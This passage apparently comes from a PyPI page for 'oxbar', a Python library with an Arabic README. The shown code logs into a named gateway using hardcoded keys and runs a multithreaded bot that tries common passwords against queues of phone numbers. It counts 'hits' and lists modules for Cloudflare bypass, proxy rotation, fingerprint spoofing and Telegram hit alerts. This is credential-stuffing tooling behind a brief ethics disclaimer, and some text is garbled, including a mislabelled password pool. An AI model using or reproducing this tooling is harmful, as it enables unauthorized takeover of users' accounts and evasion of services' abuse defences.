        ("x-medusa",       oxbar.medusa_token(signed, hera,
                                              b1_key=b"4e82797b276c5cb729db62aaa229a057",
                                              b1_iv=b"0102030405060708")),
        ("content-type",   "application/json; charset=utf-8"),
    ]
    transport = "h2_raw"  # أو curl_cffi
    r = oxbar.try_one(
        "https://httpgateway.carrstuv.com"+path, hdrs, body=payload,
        transport=transport,
    )
    if r.body:
        # قد يكون base64-encoded XOR-cipher text
        try:
            raw = base64.b64decode(r.body)
            pt  = oxbar.xor_decrypt(raw, hera)
            return json.loads(pt)
        except Exception:
            return json.loads(r.body)
    return {}

print(yalla_login("7812345678", oxbar.md5u("qwer1234")))

🏗️ مثيل كامل: Mobile Game Bot (واحد من آلاف)

import oxbar, threading, time, queue, base64, json

# pool of worker threads
jobs = queue.Queue(maxsize=400)
stats = {"hit": 0, "bad": 0, "err": 0}
stop = threading.Event()

# SA는 C النصوص
COL_H = oxbar.C.GREEN; COL_B = oxbar.C.RED; COL_R = oxbar.C.RESET

# TokenBucket 30 RPS
bucket = oxbar.TokenBucket(rate_per_sec=30, capacity=10)

# 12-digit password pool
PWD_POOL = ["qwer1234", "1234qwer", "1q2w3e4r"]

def worker(dev_id):
    hera = oxbar.generate_hera()
    while not stop.is_set():
        try:
            mobile = jobs.get(timeout=0.5)
        except queue.Empty:
            continue
        bucket.wait_and_consume()
        # ... call mobile API ...
        # ... process response ...
        # Save
        stats["hit"] += 1
        jobs.task_done()

threads = [threading.Thread(target=worker, args=(i,), daemon=True)
           for i in range(50)]
[t.start() for t in threads]

⚠️ أخلاقيات الاستخدام

oxbar أداة تقنية عالية الجودة لتوليد البصمات على مستوى البروتوكول. استخدمها فقط على نقاط النهاية التي تملك إذناً صريحاً باختبارها. مشاريع الفحص الأمني، penetration testing، ومختبرات تطوير الـscrapers الخاصة.


📑 ملخّص الـModules

الـModule عدد الـLOC الوظيفة الأساسية
oxbar.tls 714 SSLContext لجميع المتصفحات
oxbar.h2 408 عميل HTTP/2 + SETTINGS
oxbar.transport 421 Multi-backend orchestrator
oxbar.cipher 418 تمام الـcrypto helpers
oxbar.proxy 376 SOCKS + CONNECT + rotation
oxbar.result 322 Hit / dedup / categorize
oxbar.fingerprint 310 Device profile + identity
oxbar.cloudflare 280 Cloudflare orchestration
oxbar.headers 219 Header morphology
oxbar.cli 208 Dashboard + colors
oxbar.ratelimit 180 Token bucket + cooldown
oxbar.telegram 153 HIT notifier
oxbar.utils 119 Miscelaneous helpers
oxbar._bootstrap 141 Feature detection
الإجمالي 4569 سطر مكتبة ضخمة متماسكة

🏷️ الرخصة

MIT — استخدمها، حوّرها، استمتع بها، وأبقِ عملياتك أخلاقية.

Metadata

Release files for oxbar 1.2.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for oxbar 1.2.0
File Size Uploaded
oxbar-1.2.0.tar.gz 116.0 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for oxbar 1.2.0
File Interpreter ABI Platform
oxbar-1.2.0-py3-none-any.whl Python 3 none any Details

Total release size: 209.6 kB

Release files / oxbar-1.2.0.tar.gz

Download URL oxbar-1.2.0.tar.gz
Size 116.0 kB
Tags Source
SHA-256 checksum
How to use checksums
9b2725243216646db77c0a5e66b0670ccc783001154553c3eb6ec48860a7a77b
BLAKE2b-256 checksum
How to use checksums
235df7dd9e53754198109490391f43dc6b546a9770d237aa7b03d1f168a2cace
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.2

Release files / oxbar-1.2.0-py3-none-any.whl

Download URL oxbar-1.2.0-py3-none-any.whl
Size 93.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
a20c6f771ad0bda708b659d45542798d7d8c20a0aec5b7eeddae433742df0e61
BLAKE2b-256 checksum
How to use checksums
27592a6cf2258e169ddf4b070dcb93977ee385a51557c0cf67a67364bac85275
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.2

Release history Release notifications | RSS feed

This release

1.2.0 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page